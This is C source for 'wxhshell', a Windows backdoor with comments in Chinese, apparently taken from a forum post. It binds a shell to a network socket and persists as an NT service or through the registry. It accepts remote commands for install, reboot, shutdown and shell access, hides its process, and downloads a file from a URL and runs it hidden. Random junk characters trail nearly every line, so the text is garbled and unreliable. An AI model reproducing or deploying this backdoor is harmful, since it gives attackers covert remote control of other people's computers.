pG=zGx4  
    switch(cmd[0]) { s"F,=]HQ!G  
  oqo8{hrdHk  
  // 帮助 )4~XZt1r  
  case '?': { Jpnp'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3lgy X/?o  
    break; TEyPlSGG  
  } )tg*dE  
  // 安装 k ZEy  
  case 'i': { #^w 1!xXD  
    if(Install()) BeCr){,3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >'g60R[  
    else ATewdq[C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m{Xf_rQ w  
    break; 5d;K.O  
    } 4[j) $!l`  
  // 卸载 w8Vzx8  
  case 'r': { md_s2d  
    if(Uninstall()) \aRB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;G&O"S><]c  
    else Raqr VC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {lw ec"{  
    break; udr'~,R  
    } U.)eJ1a  
  // 显示 wxhshell 所在路径 u-cC}DP  
  case 'p': { CA~S$H\"  
    char svExeFile[MAX_PATH]; yE/I)GOQjs  
    strcpy(svExeFile,"\n\r"); @WUCv7U  
      strcat(svExeFile,ExeFile); O4URr  
        send(wsh,svExeFile,strlen(svExeFile),0); t)b>f~  
    break; :P'5_YSi  
    } IiU|@f~k  
  // 重启 $S=OmdgR  
  case 'b': { cv&hT.1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z`6KX93  
    if(Boot(REBOOT)) 05DtU!3O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P(:!ce4-  
    else { 1O{67Pf  
    closesocket(wsh); RT 9|E80  
    ExitThread(0);  16{;24  
    } c9K\K~bk  
    break; @XJv9aq  
    } M QI=  
  // 关机 VAz+J  
  case 'd': { Y*Rqgpu $  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hD=D5LYAZ  
    if(Boot(SHUTDOWN)) 8 F 1ga15  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !"">'}E1  
    else { 4^A'A.0  
    closesocket(wsh); !b Km}1T  
    ExitThread(0); <Z wEdq  
    } ttxOP  
    break; hTqJDP"&F  
    } +%^xz 1m  
  // 获取shell EkPSG&6RZ  
  case 's': { R``qQ;cc  
    CmdShell(wsh); wjs7K|PK  
    closesocket(wsh); }\*|b@)]  
    ExitThread(0); B!lw>rUMQ  
    break; +d. Bf  
  } r4'Pf|`u  
  // 退出 T~d';P  
  case 'x': { Z%{2/mQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '1IH^<b  
    CloseIt(wsh); i;7jJ(#V  
    break; l$NEx0Dffz  
    } e;v2`2z2  
  // 离开 {643Dz<e  
  case 'q': { 'McVaPav  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T!AQJ:;1  
    closesocket(wsh); 4+Kc  
    WSACleanup(); ZGBcy}U(k  
    exit(1); _=p|"~rN$  
    break; gqamGLK  
        } :\XD.n-n  
  } 6y5~Kh6  
  } UJ+JVj   
p<NgT1"{  
  // 提示信息 q9>w3 <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {w(N9Va,(  
} ^|2qD: ;  
  } \qPrY.-  
rA7S1)Kq  
  return; q Sah_N  
} f&J*(F*u  
IB<ihk  
// shell模块句柄 g>{=R|uO5  
int CmdShell(SOCKET sock) +-i@R%  
{ s4\2lBU?  
STARTUPINFO si; -u(#V#}OV?  
ZeroMemory(&si,sizeof(si)); KA7nncg;,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bT |FJ\aC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i+6/ g  
PROCESS_INFORMATION ProcessInfo; USY^ [@o[f  
char cmdline[]="cmd"; iQQJ`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q^)(p' X  
  return 0; Spb'jAKj'  
} #';r 0?|  
Tbw8#[6AX  
// 自身启动模式 6kk(FVX  
int StartFromService(void) dcsd//E  
{ 3FfS+q*3S  
typedef struct {WChD&v  
{ ~V5jjx*  
  DWORD ExitStatus; ;F- kE4w  
  DWORD PebBaseAddress; s5 BV8 M  
  DWORD AffinityMask; ~PHG5?X  
  DWORD BasePriority; c'C2V9t  
  ULONG UniqueProcessId; |gNOv;l  
  ULONG InheritedFromUniqueProcessId; `CBTZG09  
}   PROCESS_BASIC_INFORMATION; }T@AoIR0t  
>2r/d  
PROCNTQSIP NtQueryInformationProcess; gvX7+F=}B  
60m1 >"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n/-I7Q!;u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tu"](|I>   
E6uIp^E  
  HANDLE             hProcess; .#SWfAb2h  
  PROCESS_BASIC_INFORMATION pbi; +|N"i~f>j  
rx<fjA%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ftbu:RtK^^  
  if(NULL == hInst ) return 0; +Aq}BjD#  
!|]%^G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .$rcTZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B7 T+a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W#$rC<Jh]  
asb") NfIm  
  if (!NtQueryInformationProcess) return 0; R[6&{&E:  
!Wk "a7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ay2.C BF  
  if(!hProcess) return 0; pAYuOk9n  
{chl+au*l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g~]FI  
(,k=mF  
  CloseHandle(hProcess); ?V+=uTCq  
UaB!,vs3st  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aO{k-44y  
if(hProcess==NULL) return 0; k&*=:y}  
MZ.Jkf(  
HMODULE hMod; A-kI_&g\Og  
char procName[255]; +Z+]Tqo  
unsigned long cbNeeded; 2X:n75()  
pq4frq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j`bOJTBE  
V@F~Cx  
  CloseHandle(hProcess); n#iL[ &/Aw  
z`W$/tw"  
if(strstr(procName,"services")) return 1; // 以服务启动 ><Z2uJZ4x  
4IVCTz[  
  return 0; // 注册表启动 &WIPz\  
} !GO4cbdQ  
N?aU<-Tn  
// 主模块 #qzozQ4  
int StartWxhshell(LPSTR lpCmdLine) ^K8Ey#T  
{ .- w*&Hd7b  
  SOCKET wsl; e(b*T  
BOOL val=TRUE; VrHFM(RNe  
  int port=0; Q%6*S!~  
  struct sockaddr_in door; 0YKG`W  
Gg/K  
  if(wscfg.ws_autoins) Install(); zKR_P{W>^  
Y|Z*|c.4OK  
port=atoi(lpCmdLine); n/?_]  
Vki3D'.7N  
if(port<=0) port=wscfg.ws_port; UGIyNMY  
J::dY~@  
  WSADATA data; { Uh/ ~zu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Q ]bV52  
]P-;]*&=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h[Hw9$31  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `5 bHZ  
  door.sin_family = AF_INET; >-Jutr<I"~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ibh!8"[  
  door.sin_port = htons(port); E0w>c'kH  
y5>H>NS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *9G;n!t  
closesocket(wsl); t>^An:xT  
return 1; I-^Y$6-  
} ;s{rJG{inG  
P66>w})@  
  if(listen(wsl,2) == INVALID_SOCKET) { (sZ B-  
closesocket(wsl); yPW?%7 h  
return 1; I~Ziq10  
} mN, Od?q[  
  Wxhshell(wsl); ~%'M[3Rb  
  WSACleanup(); +~ HL"Vv  
dQt]r  
return 0; 8uNq353  
z@dHXj )  
} hC,EO&  
i0hF9M  
// 以NT服务方式启动 xGN&RjPk\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X ZfT;!wF&  
{ $Z #  
DWORD   status = 0; P@)z Nik[  
  DWORD   specificError = 0xfffffff; lO[[iMHl<  
>%t"VpvR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R'He(x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GC.   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2!}5shB  
  serviceStatus.dwWin32ExitCode     = 0; |GLa `2q|  
  serviceStatus.dwServiceSpecificExitCode = 0; y<MXd,eE  
  serviceStatus.dwCheckPoint       = 0; 0I1bY]*  
  serviceStatus.dwWaitHint       = 0; E`$d!7O  
qn:3s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @#;2P'KL  
  if (hServiceStatusHandle==0) return; t ?rUbN  
Y}QtgZEt  
status = GetLastError(); G7 b>r  
  if (status!=NO_ERROR) &G:#7HX@-  
{ ;>bcI).  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EHmw(%a|+  
    serviceStatus.dwCheckPoint       = 0; ]F P(,:Yw  
    serviceStatus.dwWaitHint       = 0; Enyx+]9  
    serviceStatus.dwWin32ExitCode     = status; )V7bi^r  
    serviceStatus.dwServiceSpecificExitCode = specificError; SRyAW\*LWU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N"Q-xK  
    return; |4UW.dGHPo  
  } #A+ dj| b  
(V 5_q,2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D}OvD |<-  
  serviceStatus.dwCheckPoint       = 0; <7-3j{065  
  serviceStatus.dwWaitHint       = 0; 4vC { G.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gy0l@ 5 N  
} /3{jeU.k  
.*+%-%CbP  
// 处理NT服务事件,比如:启动、停止 {94qsVxQZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O8qA2@,  
{ eh`n?C  
switch(fdwControl) /SO 4O|b  
{ )ERmSWq/u  
case SERVICE_CONTROL_STOP: _NA[g:DZ&O  
  serviceStatus.dwWin32ExitCode = 0; ye4 T2=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %v5IR  
  serviceStatus.dwCheckPoint   = 0; HJ~0_n&  
  serviceStatus.dwWaitHint     = 0; rE)lt0mkv  
  { K?`Fpg (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Em?bV(  
  } `saDeur#X  
  return; D<% /:M  
case SERVICE_CONTROL_PAUSE: Wb4+U;C^!'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WKek^TW4HE  
  break; XnR9/t  
case SERVICE_CONTROL_CONTINUE: /x\{cHAt8J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  UDl[  
  break; ,ELbm  
case SERVICE_CONTROL_INTERROGATE: \iVb;7r)9:  
  break; vr/*z euA  
}; O1[`2kj^HB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;hzm&My  
} M<$a OW0  
hhRUC&Y%V  
// 标准应用程序主函数 -y]e`\+[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u4hC/!  
{ ;d5d$Np@m&  
uf q9+}  
// 获取操作系统版本 Ls51U7  
OsIsNt=GetOsVer(); l7vU{Fd-h^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F)XO5CBK  
,X^I]]  
  // 从命令行安装 *7cc4 wGQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); K FMx(fD  
w\SfzJN  
  // 下载执行文件 x`9IQQ  
if(wscfg.ws_downexe) { q.I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @,kR<1  
  WinExec(wscfg.ws_filenam,SW_HIDE); )/Z% HBn  
} m}`!FaB #  
nz+k ,  
if(!OsIsNt) { U}hQVpP#  
// 如果时win9x,隐藏进程并且设置为注册表启动 )a99@`L\P  
HideProc(); T3H\KRe6  
StartWxhshell(lpCmdLine); ol#| .a2O  
} tg5G`P5PJ  
else ~IQ3B $4H&  
  if(StartFromService()) {XR 3L'X  
  // 以服务方式启动 a\_?zi]s&,  
  StartServiceCtrlDispatcher(DispatchTable); *UxN~?N|  
else E)ne z  
  // 普通方式启动 N./l\NtZ  
  StartWxhshell(lpCmdLine); :^bjn3b  
a]NH >d  
return 0; Ga,+  
}
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只看该作者 1 发表于: 2006-10-10
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